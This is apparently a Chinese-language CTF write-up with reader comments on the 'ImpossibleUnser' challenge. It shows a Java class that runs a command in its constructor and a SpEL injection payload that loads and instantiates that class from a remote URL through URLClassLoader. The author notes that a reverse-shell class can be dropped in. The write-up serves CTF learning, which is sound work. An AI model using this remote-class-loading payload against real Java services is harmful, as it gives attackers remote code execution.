就只做出一道很简单的题,还是太菜了。
ImpossibleUnser
找到这篇博客,加载远程恶意类就可以了。感觉能出网可能是非预期,另外那个反序列化的路由都没用了
但是我懒的弄jar包,就直接弄了个恶意class
public class Exp {
public Exp(){
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8990/")}).loadClass("Exp").getConstructors()[0].newInstance()
就可以弹计算器了。但是我的语法出错了,之前一直写成http://127.0.0.1:8990/Exp.class,结果一直报错,后面参考bogiepop佬的博客穿了,才发现
直接改弹shell的class就可以了
好奇信息收集,怎么判断出是反序列化Java的?还是远程类加载?
最近太忙了,所以没看到,不好意思。主要是因为我太菜了,不知道怎么反序列就先试了相对简单的spel注入,做出来就没看反序列化了。